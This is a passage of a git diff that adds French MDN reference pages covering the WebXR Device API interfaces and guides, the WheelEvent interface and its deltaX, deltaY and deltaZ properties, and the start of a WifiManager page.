+<img alt='Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labeled "Position sensor"' src="https://mdn.mozillademos.org/files/11035/hw-setup.png"></figure>
+
+<p>Alors que l'ancienne <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a> avait été conçue uniquement pour le support de la réalité virtuelle (VR), l'API WebXR supporte à la fois la VR et la réalité augmentée (AR) sur le web. Le support pour la fonctionnalité de réalité augmentée est ajouté par le module WebXR Augmented Reality.</p>
+
+<p>Un périphérique XR typique peut avoir aussi bien 3 que 6 degrés de liberté et peut ou non posséder un capteur de position externe.</p>
+
+<p>L'équipement peut également inclure un accéléromètre, un baromètre, ou d'autres capteurs qui sont utilisés pour détecter lorsque l'utilisateur se déplace dans l'espace, tourne sa tête, ou similaires.</p>
+
+<h2 id="Accéder_à_lAPI_WebXR">Accéder à l'API WebXR</h2>
+
+<p>Pour accéder à l'API WebXR à l'intérieur du contexte d'une fenêtre donnée, utiliser la propriété {{domxref("navigator.xr")}}, qui retourne un objet {{domxref("XRSystem")}} au travers duquel toute l'API de périphérique WebXR Device API est alors exposée.</p>
+
+<dl>
+ <dt>{{domxref("navigator.xr")}} {{ReadOnlyInline}}</dt>
+ <dd>Cette propriété, ajoutée à l'interface {{domxref("Navigator")}}, retourne l'objet  {{domxref("XRSystem")}} au travers duquel l'API WebXR est exposée. Si cette propriété est missing ou <code>null</code>, WebXR n'est pas disponible.</dd>
+</dl>
+
+<h2 id="Les_interfaces_WebXR">Les interfaces WebXR</h2>
+
+<dl>
+ <dt>{{DOMxRef("XRSystem")}}</dt>
+ <dd>La propriété {{domxref("Navigator.xr", "navigator.xr")}} retourne l'instance de la fenêtre de {{domxref("XRSystem")}}, qui est le mécanisme par lequel votre code acède à l'API WebXR. En utilisant l'interface <code>XRSystem</code>, vous pouvez créer {{domxref("XRSession")}} pour représenter les sessions AR et/ou VR actuelles.</dd>
+ <dt>{{DOMxRef("XRFrame")}}</dt>
+ <dd>Lors de la présentation d'une session XR, l'état de tous les objets suivis qui composent la session sont représentés par une <code>XRFrame</code>. Pour obtenir un <code>XRFrame</code>, appeler la méthode {{domxref("XRSession.requestAnimationFrame", "requestAnimationFrame()")}} de la session, en fournissant un callback qui sera appelé avec le <code>XRFrame</code> une fois disponible. Les événements qui communiquent avec des états de suivi utiliseront aussi <code>XRFrame</code> pour contenir ces informations.</dd>
+ <dt>{{DOMxRef("XRRenderState")}}</dt>
+ <dd>Fournis un ensemble de propriétés configurables qui changent la façon dont les images produites par une <code>XRSession</code> sont composées.</dd>
+ <dt>{{DOMxRef("XRSession")}}</dt>
+ <dd>Fournit l'interface pour interagir avec le matériel XR. Une fois que la <code>XRSession</code> est obtenue depuis {{domxref("XRSystem.requestSession", "navigator.xr.requestSession()")}}, la session peut être utilisée pour vérifier la position et l'orientation du visualiseur, interroger le périphérique pour obtenir des informations sur l'environnement, et présenter le monde virtuel ou augmenté à l'utilisateur.</dd>
+ <dt>{{DOMxRef("XRSpace")}}</dt>
+ <dd><code>XRSpace</code> est une classe de base opaque sur laquelle toutes les interfaces de système de coordonnées virtuelles sont basées. Les positions dans WebXR sotn toujours exprimées par rapport à un <code>XRSpace</code> particulier au moment où un {{domxref("XRFrame")}} a lieu. Ce système de coordonnées dans l'espace a son origine à une position physique donnée.</dd>
+ <dt>{{DOMxRef("XRReferenceSpace")}}</dt>
+ <dd>Une sous classe de {{domxref("XRSpace")}} qui est utilisée pour identifier une relation spatiale en relation avec l'environnement physique de l'utilisateur. Le système de coordonées <code>XRReferenceSpace</code> devrait rester inchangé pendant toute la durée de vie du {{domxref("XRSession")}}. Le monde n'a pas de frontières et s'étend infiniment dans toutes les directions.</dd>
+ <dt>{{DOMxRef("XRBoundedReferenceSpace")}}</dt>
+ <dd><code>XRBoundedReferenceSpace</code> étend le système de coordonées {{domxref("XRReferenceSpace")}} pour inclure en plus la prise en charge d'un monde aux limites définies. Contrairement à <code>XRReferenceSpace</code>, l'origine doit être localisée au niveau du sol (c'est à dire <em>y</em> = 0). Les composantes x et z de l'origine sont présumées être localisées au centre ou à proximité du centre de la pièce ou de la surface.</dd>
+ <dt>{{DOMxRef("XRView")}}</dt>
+ <dd>Représente une vue unique dans la scène XR pour une image particulière. Chaque XRView correspond à la surface d'affichage vidéo utilisée pour présenter la scène à l'utilisateur. Par exemple, un appareil XR donné peut avoir deux vues: une pour l'œil gauche et une pour la droite. Chaque vue a un décalage utilisé pour déplacer la position de la vue par rapport à la caméra, afin de permettre la création d'effets stéréographiques.</dd>
+ <dt>{{DOMxRef("XRViewport")}}</dt>
+ <dd>Décrit un viewport. Un viewport est une partie rectangulaire d'une surface graphique. Dans WebXR, un viewport représente la zone d'une surface de dessin correspondant à un {{domxref ("XRView")}} particulier, tel que la partie de l'image tampon WebGL utilisée pour rendre l'une des perspectives des deux yeux sur la scène.</dd>
+ <dt>{{DOMxRef("XRRigidTransform")}}</dt>
+ <dd>Une transformation définie en utilisant une position et une orientation dans le système de coordonnées de l'espace virtuel comme décrit par le {{domxref ("XRSpace")}}.</dd>
+ <dt>{{DOMxRef("XRPose")}}</dt>
+ <dd>Décrit une position et une orientation dans l'espace par rapport à un {{domxref ("XRSpace")}}.</dd>
+ <dt>{{DOMxRef("XRViewerPose")}}</dt>
+ <dd>Basé sur {{domxref("XRPose")}}, <code>XRViewerPose</code> spécifie l'état d'un spectateur de la scène WebXR comme indiqué par le périphérique XR. Un tableau d'objets {{domxref ("XRView")}} est inclus, chacun représentant une perspective de la scène. Par exemple, il faut deux vues pour créer la vue stéréoscopique telle que perçue par la vision humaine: une pour l'œil gauche et une seconde pour l'œil droit. Une vue est légèrement décalée vers la gauche par rapport à la position du visualiseur et l'autre vue est décalée vers la droite de la même distance. La liste de vues peut également être utilisée pour représenter les perspectives de chacun des spectateurs d'une scène, dans un environnement multi-utilisateurs.</dd>
+ <dt>{{DOMxRef("XRInputSource")}}</dt>
+ <dd>Représente tout périphérique d'entrée que l'utilisateur peut utiliser pour effectuer des actions ciblées dans le même espace virtuel que le visualiseur. Les sources d'entrée peuvent inclure des dispositifs tels que des contrôleurs manuels, des systèmes de suivi optique et d'autres dispositifs explicitement associés au dispositif XR. Les autres périphériques d'entrée tels que les claviers, les souris et les manettes de jeu ne sont pas présentés comme des instances <code>XRInputSource</code>.</dd>
+ <dt>{{DOMxRef("XRWebGLLayer")}}</dt>
+ <dd>Une couche qui sert de tampon d'image <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> dans lequel la vue d'une scène est rendue. L'utilisation de WebGL pour afficher la scène offre des avantages de performances substantiels grâce à l'accélération graphique.</dd>
+</dl>
+
+<h3 id="Interfaces_événementielles">Interfaces événementielles</h3>
+
+<p>Les interfaces suivantes sont utilisées pour représenter les événements utilisés par l'API WebXR.</p>
+
+<dl>
+ <dt>{{domxref("XRInputSourceEvent")}}</dt>
+ <dd>Envoyé lorsque l'état d'un {{domxref ("XRInputSource")}} change. Cela peut se produire, par exemple, lorsque la position et/ou l'orientation de l'appareil change, ou lorsque des boutons sont enfoncés ou relâchés.</dd>
+ <dt>{{domxref("XRInputSourcesChangeEvent")}}</dt>
+ <dd>Envoyé pour indiquer que l'ensemble des sources d'entrée disponibles a changé pour le {{domxref ("XRSession")}}.</dd>
+ <dt>{{domxref("XRReferenceSpaceEvent")}}</dt>
+ <dd>Envoyé lorsque l'état d'un {{domxref ("XRReferenceSpace")}} change.</dd>
+ <dt>{{domxref("XRSessionEvent")}}</dt>
+ <dd>Envoyé pour indiquer que l'état d'un {{domxref ("XRSession")}} a changé. <s>Par exemple, si la position et/ou l'orientation </s></dd>
+</dl>
+
+<h2 id="Extensions_de_lAPI_WebGL">Extensions de l'API WebGL</h2>
+
+<p>L'API WebGL est étendue par la spécification WebXR pour augmenter le contexte WebGL afin de lui permettre d'être utilisée pour afficher des vues dans un périphérique WebXR.</p>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContextBase.makeXRCompatibile","WebGLRenderingContextBase.makeXRCompatibile()")}}</dt>
+ <dd>Configure le contexte WebGL pour qu'il soit compatible avec WebXR. Si le contexte n'a pas été créé initialement avec la propriété {{domxref ("WebGLContextAttributes.xrCompatible", "xrCompatible")}} définie sur <code>true</code>, vous devez appeler <code>makeXRCompatible()</code> avant d'essayer d'utiliser le contexte WebGL pour le rendu WebXR. Renvoie un {{jsxref ("Promise")}} qui se résout une fois que le contexte a été préparé, ou est rejeté si le contexte ne peut pas être configuré pour être utilisé par WebXR.</dd>
+</dl>
+
+<h2 id="Guides_et_tutoriels">Guides et tutoriels</h2>
+
+<p>Les guides et didacticiels suivants sont une excellente ressource pour apprendre à comprendre WebXR et les concepts graphiques 3D/VR/AR sous-jacents.</p>
+
+<h3 id="Les_bases">Les bases</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Fundamentals">Fundamentals of WebXR</a></dt>
+ <dd>Avant de plonger dans les détails de la création de contenu à l'aide de WebXR, il peut être utile de lire cet aperçu de la technologie, qui comprend des introductions à une terminologie qui peut ne pas vous être familière ou qui peut être utilisée d'une nouvelle manière.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Matrix_math_for_the_web">Matrix math for the web</a></dt>
+ <dd>Un guide expliquant comment les matrices peuvent être utilisées sur le Web, y compris pour les transformations CSS et à des fins WebGL, ainsi que pour gérer le positionnement et l'orientation des objets dans des contextes WebXR.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Lifecycle">WebXR application life cycle </a></dt>
+ <dd>An overview of the overall life cycle of a WebXR application, from startup to shutdown. This article serves as an introduction to the basics of what's involved in creating a WebXR experience without diving into the code in detail. It's a good way to prepare for the next steps.Un aperçu du cycle de vie global d'une application WebXR, du démarrage à l'arrêt. Cet article sert d'introduction aux bases de ce qu'implique la création d'une expérience WebXR sans plonger dans le code en détail. C'est un bon moyen de se préparer aux prochaines étapes.</dd>
+</dl>
+
+<h3 id="Créer_une_expérience_de_réalité_mixte">Créer une expérience de réalité mixte</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Startup_and_shutdown">Starting up and shutting down a WebXR session</a></dt>
+ <dd>Avant de présenter une scène à l'aide d'un appareil XR tel qu'un casque ou des lunettes, vous avez besoin de créer une session WebXR liée à une couche de rendu qui dessine la scène pour la présentation dans chacun des écrans de l'appareil XR pour que l'effet 3D puisse être présenté à l'utilisateur. Ce guide explique comment créer et arrêter des sessions WebXR.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Geometry">Geometry and reference spaces in WebXR</a></dt>
+ <dd>Dans ce guide, les concepts requis de la géométrie 3D sont brièvement passés en revue, et les fondamentaux de cette géométrie représentés dans WebXR sont détaillés. Apprenez comment les espaces de référence sont utilisés pour positionner les objets - et le visualiseur - et les différences entre les types d'espace de référence disponibles, ainsi que leurs cas d'utilisation.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Spatial_tracking">Spatial tracking in WebXR</a></dt>
+ <dd>Ce guide décrit comment les objets—incluant le corps de l'utilisateur et ses parties—sont situés dans l'espace, et comment leur mouvement et leur orientation les uns par rapport aux autres sont surveillés et gérés au fil du temps. Cet article explique la relation entre les espaces, les poses/attitudes, les spectateurs et les vues.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Rendering">Rendering and the WebXR frame animation callback</a></dt>
+ <dd>En commençant par la planification des images à afficher, ce guide explique ensuite comment déterminer le placement des objets dans la vue et comment les afficher dans la mémoire tampon WebGL utilisée pour chacune des deux vues de la scène pour les deux yeux.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Cameras">Viewpoints and viewers: Simulating cameras in WebXR </a></dt>
+ <dd> through a world in which the viewer doesn't really move.WebGL (et donc WebXR) n'a pas vraiment de concept de caméra, qui est le concept traditionnel utilisé pour représenter un point de vue dans les graphiques 3D. Dans cet article, nous voyons comment simuler une caméra et comment créer l'illusion de déplacer un spectateur dans un monde même si ce n'est pas le cas.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Lighting">Lighting a WebXR setting</a></dt>
+ <dd>Le rendu WebXR étant basé sur WebGL, les mêmes techniques d'éclairage utilisées pour toute application 3D sont appliquées aux scènes WebXR. Cependant, il existe des problèmes spécifiques à la création de paramètres de réalité augmentée et virtuelle qui doivent être pris en compte lors de l'écriture de votre code d'éclairage. Cet article traite de ces problèmes.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Bounded_reference_spaces">Using bounded reference spaces</a></dt>
+ <dd>Dans cet article, nous examinons comment utiliser un espace de référence <code>bounded-floor</code> pour définir les limites des endroits où le spectateur peut se déplacer en toute sécurité sans quitter la zone suivie par son matériel XR ou entrer en collision avec un obstacle physique. Sur les appareils qui le prennent en charge, le <code>bounded-floor</code> peut être un outil utile dans votre répertoire.</dd>
+</dl>
+
+<h3 id="Rendre_interactif">Rendre interactif</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Movement_and_motion">Movement, orientation, and motion: A WebXR example</a></dt>
+ <dd>Dans cet exemple et tutoriel, nous utilisons les informations apprises tout au long de la documentation WebXR pour créer une scène contenant un cube et l'utilisateur peut déplacer autour en utilisant à la fois le casque VR, le clavier et la souris.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Inputs">Inputs and input sources</a></dt>
+ <dd>Un guide sur les sources d'entrée et comment gérer efficacement les périphériques d'entrée utilisés pour contrôler la session WebXR, et comment recevoir et traiter les entrées utilisateur de ces périphériques.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API/Targeting">Targeting and hit detection </a></dt>
+ <dd>Comment utiliser le mode rayon de ciblage et l'espace de rayon de ciblage d'une source d'entrée pour afficher un rayon de ciblage, identifier les surfaces ou les objets ciblés et effectuer des tâches associées.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Input_profiles">Using WebXR input profiles</a></dt>
+ <dd>Un guide pour interpréter les données {{Glossary ("JSON")}} fournies par le <a href="https://github.com/immersive-web/webxr-input-profiles/tree/master/packages/registry">WebXR Input Profiles Registry</a>, qui peut être utilisé pour déterminer les options et commandes disponibles sur les périphériques d'entrée de l'utilisateur.</dd>
+ <dt><a href="/en-US/docs/Web/WebXR_Device_API/Gamepads">Supporting advanced controllers and gamepads in WebXR applications</a></dt>
+ <dd>WebXR utilise l'objet {{domxref ("Gamepad")}} pour décrire les commandes disponibles sur les périphériques d'entrée complexes (tels que les manettes avec plusieurs boutons et/ou axes) et les périphériques tels que les manettes de jeu. Dans ce guide, découvrez comment faire usage des commandes de ces périphériques.</dd>
+</dl>
+
+<h3 id="Performance_and_sécurité">Performance and sécurité</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Performance">WebXR performance guide</a></dt>
+ <dd>Recommandations et astuces pour vous aider à optimiser les performances de votre application WebXR.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Permissions_and_security">Permissions and security for WebXR</a></dt>
+ <dd>L'API de périphérique WebXR doit faire face à de nombreux domaines de sécurité, de l'établissement d'une politique de fonctionnalité à l'assurance que l'utilisateur a l'intention d'utiliser la présentation en réalité mixte avant de l'activer.</dd>
+</dl>
+
+<h3 id="Inclure_dautres_médias">Inclure d'autres médias</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/3D_audio">Positional audio in a 3D environment</a></dt>
+ <dd>Dans les environnements 3D, qui peuvent être soit des scènes 3D rendues à l'écran, soit une expérience de réalité mixte expérimentée à l'aide d'un casque, il est important que l'audio soit exécuté de sorte qu'il semble provenir de la direction de sa source. Ce guide explique comment y parvenir.</dd>
+ <dt><a href="/en-US/docs/Web/Media/3D_video">Playing video in a 3D environment</a></dt>
+ <dd>Dans ce guide, nous examinons comment lire une vidéo dans une scène 3D. Cette technique peut être utilisée à la fois dans des applications <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> standard présentées sur un écran plat d'ordinateur, ou dans un environnement de réalité virtuelle ou augmentée généré par <a href="/en-US/docs/Web/API/WebXR_Device_API">WebXR</a>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebXR")}}</td>
+   <td>{{Spec2("WebXR")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Navigator.xr")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/Graphics">Graphics on the web</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li>
+ <li><a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a>: Graphiques 2D et 3D sur le web</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a>: Le dessin en 2D pour le web</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a></li>
+</ul>
diff --git a/files/fr/web/api/wheelevent/deltax/index.html b/files/fr/web/api/wheelevent/deltax/index.html
new file mode 100644
index 0000000000..b5b0e251f6
--- /dev/null
+++ b/files/fr/web/api/wheelevent/deltax/index.html
@@ -0,0 +1,57 @@
+---
+title: WheelEvent.deltaX
+slug: Web/API/WheelEvent/deltaX
+tags:
+  - API
+  - DOM
+  - Lecture seulement
+  - Propriété
+  - Reference
+  - Référence(2)
+  - WheelEvent
+translation_of: Web/API/WheelEvent/deltaX
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>La propriété en lecture seule <code><strong>WheelEvent.deltaX</strong></code> est un <code>double</code> représentant la quantité de défilement horizontal dans l'unité {{domxref("WheelEvent.deltaMode")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">var <code><em>dX</em> = <em>event</em>.deltaX;</code></pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js notranslate">var syntheticEvent = new WheelEvent("syntheticWheel", {"deltaX": 4, "deltaMode": 0});
+
+console.log(syntheticEvent.deltaX);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commantaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-WheelEvent-deltaX','WheelEvent.deltaX')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Définiton initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.WheelEvent.deltaX")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ event("wheel") }}</li>
+ <li>{{domxref("WheelEvent")}}</li>
+</ul>
diff --git a/files/fr/web/api/wheelevent/deltay/index.html b/files/fr/web/api/wheelevent/deltay/index.html
new file mode 100644
index 0000000000..2da3e51624
--- /dev/null
+++ b/files/fr/web/api/wheelevent/deltay/index.html
@@ -0,0 +1,57 @@
+---
+title: WheelEvent.deltaY
+slug: Web/API/WheelEvent/deltaY
+tags:
+  - API
+  - DOM
+  - Lecture seulement
+  - Propriété
+  - Reference
+  - Référence(2)
+  - WheelEvent
+translation_of: Web/API/WheelEvent/deltaY
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>La propriété en lecture seule <code><strong>WheelEvent.deltaY</strong></code> est un <code>double</code> représentant la quantité de défilement vertical dans l'unité {{domxref("WheelEvent.deltaMode")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">var <code><em>dY</em> = <em>event</em>.deltaY;</code></pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js notranslate">var syntheticEvent = new WheelEvent("syntheticWheel", {"deltaY": 4, "deltaMode": 0});
+
+console.log(syntheticEvent.deltaY);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commantaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-WheelEvent-deltaY','WheelEvent.deltaY')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.WheelEvent.deltaY")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ event("wheel") }}</li>
+ <li>{{domxref("WheelEvent")}}</li>
+</ul>
diff --git a/files/fr/web/api/wheelevent/deltaz/index.html b/files/fr/web/api/wheelevent/deltaz/index.html
new file mode 100644
index 0000000000..2113eb437d
--- /dev/null
+++ b/files/fr/web/api/wheelevent/deltaz/index.html
@@ -0,0 +1,58 @@
+---
+title: WheelEvent.deltaZ
+slug: Web/API/WheelEvent/deltaZ
+tags:
+  - API
+  - DOM
+  - Interface
+  - Lecture seulement
+  - Propriété
+  - Reference
+  - Référence(2)
+  - WheelEvent
+translation_of: Web/API/WheelEvent/deltaZ
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>La propriété en lecture seule <code><strong>WheelEvent.deltaZ</strong></code> est un <code>double</code> représentant la quantité de défilement le long de l'axe z, dans l'unité {{domxref("WheelEvent.deltaMode")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">var <code><em>dZ</em> = <em>event</em>.deltaZ;</code></pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js notranslate">var syntheticEvent = new WheelEvent("syntheticWheel", {"deltaZ": 4, "deltaMode": 0});
+
+console.log(syntheticEvent.deltaZ);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-WheelEvent-deltaZ','WheelEvent.deltaZ')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.WheelEvent.deltaZ")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ event("wheel") }}</li>
+ <li>{{domxref("WheelEvent")}}</li>
+</ul>
diff --git a/files/fr/web/api/wheelevent/index.html b/files/fr/web/api/wheelevent/index.html
new file mode 100644
index 0000000000..5b45f1363a
--- /dev/null
+++ b/files/fr/web/api/wheelevent/index.html
@@ -0,0 +1,119 @@
+---
+title: WheelEvent
+slug: Web/API/WheelEvent
+tags:
+  - API
+  - DOM
+  - Interface
+  - Reference
+  - WheelEvent
+translation_of: Web/API/WheelEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>L'interface <strong><code>WheelEvent</code></strong> représente les évènements qui se produisent lorsque l'utilisateur déplace la molette de la souris ou un périphérique d'entrée similaire.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Important: Il s'agit de l'interface d'évènement de roue standard à utiliser.</strong> Les anciennes versions des navigateurs implémentaient les interfaces {{DOMxRef("MouseWheelEvent")}} et {{DOMxRef("MouseScrollEvent")}} non standard et non compatibles avec plusierus navigateurs. Utilisez cette interface et évitez les non standard.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Ne confondez pas l'évènement {{domxref("Element/wheel_event", "wheel")}} avec l'énénement {{domxref("Element/scroll_event", "scroll")}} :</strong> L'action par défaut d'un évènement <code>wheel</code> est définie par l'implantation. Ainsi, un évènement <code>wheel</code> ne distribue pas nécessairement un évènement <code>scroll</code>. Même lorsque c'est le cas, cela ne signifie pas que les valeurs <code>delta*</code> dans l'évènement <code>wheel</code> reflètent nécessairement la direction de défilement du contenu. Par conséquent, ne comptez pas sur les propriétés <code>delta*</code> pour obtenir la direction de défilement du contenu. Au lieu de cela, détectez les changements de valeurs de {{DOMxRef("Element.scrollLeft", "scrollLeft")}} et {{DOMxRef("Element.scrollTop", "scrollTop")}} de la cible dans l'évènement <code>scroll</code>.</p>
+</div>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{DOMxRef("WheelEvent.WheelEvent", "WheelEvent()")}}</dt>
+ <dd>Crée un objet <code>WheelEvent</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite des propriétés de ses ancêtres, {{DOMxRef("MouseEvent")}}, {{DOMxRef("UIEvent")}}, et {{DOMxRef("Event")}}.</em></p>
+
+<dl id="raw_prop">
+ <dt>{{DOMxRef("WheelEvent.deltaX")}}{{ReadOnlyInline}}</dt>
+ <dd>Renvoie un <code>double</code> représentant le montant du défilement horizontal.</dd>
+ <dt>{{DOMxRef("WheelEvent.deltaY")}}{{ReadOnlyInline}}</dt>
+ <dd>Renvoie un <code>double</code> représentant le montant du défilement vertical.</dd>
+ <dt>{{DOMxRef("WheelEvent.deltaZ")}}{{ReadOnlyInline}}</dt>
+ <dd>Renvoie un <code>double</code> représentant le montant du défilement pour l'axe z.</dd>
+ <dt>{{DOMxRef("WheelEvent.deltaMode")}}{{ReadOnlyInline}}</dt>
+ <dd>Revnoie un <code>unsigned long</code> représentant l'unité du montant de défilement des valeurs <code>delta*</code>. Les valeurs autorisées sont :
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <td class="header">Constant</td>
+    <td class="header">Valeur</td>
+    <td class="header">Description</td>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>WheelEvent.DOM_DELTA_PIXEL</code></td>
+    <td><code>0x00</code></td>
+    <td>Les valeurs <code>delta*</code> sont spécifiées en pixels.</td>
+   </tr>
+   <tr>
+    <td><code>WheelEvent.DOM_DELTA_LINE</code></td>
+    <td><code>0x01</code></td>
+    <td>Les valeurs <code>delta*</code> sont spécifiées en lignes.</td>
+   </tr>
+   <tr>
+    <td><code>WheelEvent.DOM_DELTA_PAGE</code></td>
+    <td><code>0x02</code></td>
+    <td>Les valeurs <code>delta*</code> sont spécifiées dans les pages.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface ne définit aucune méthode spécifique, mais hérite des méthodes de ses ancêtres, {{DOMxRef("MouseEvent")}}, {{DOMxRef("UIEvent")}}, et {{DOMxRef("Event")}}.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("UI Events", "#interface-wheelevent", "The <code>WheelEvent</code> interface")}}</td>
+   <td>{{Spec2("UI Events")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#interface-wheelevent', 'WheelEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.WheelEvent")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Évènement {{domxref("Element/wheel_event", "wheel")}}</li>
+ <li>Interfaces remplacées par celle-ci :
+  <ul>
+   <li>Objet d'évènement de roulette de souris hérité de Gecko: {{DOMxRef("MouseScrollEvent")}}</li>
+   <li>Objet d'évènement de roulette de souris hérité des navigateurs non gecko: {{DOMxRef("MouseWheelEvent")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/associate/index.html b/files/fr/web/api/wifimanager/associate/index.html
new file mode 100644
index 0000000000..e19b143cf8
--- /dev/null
+++ b/files/fr/web/api/wifimanager/associate/index.html
@@ -0,0 +1,65 @@
+---
+title: WifiManager.associate()
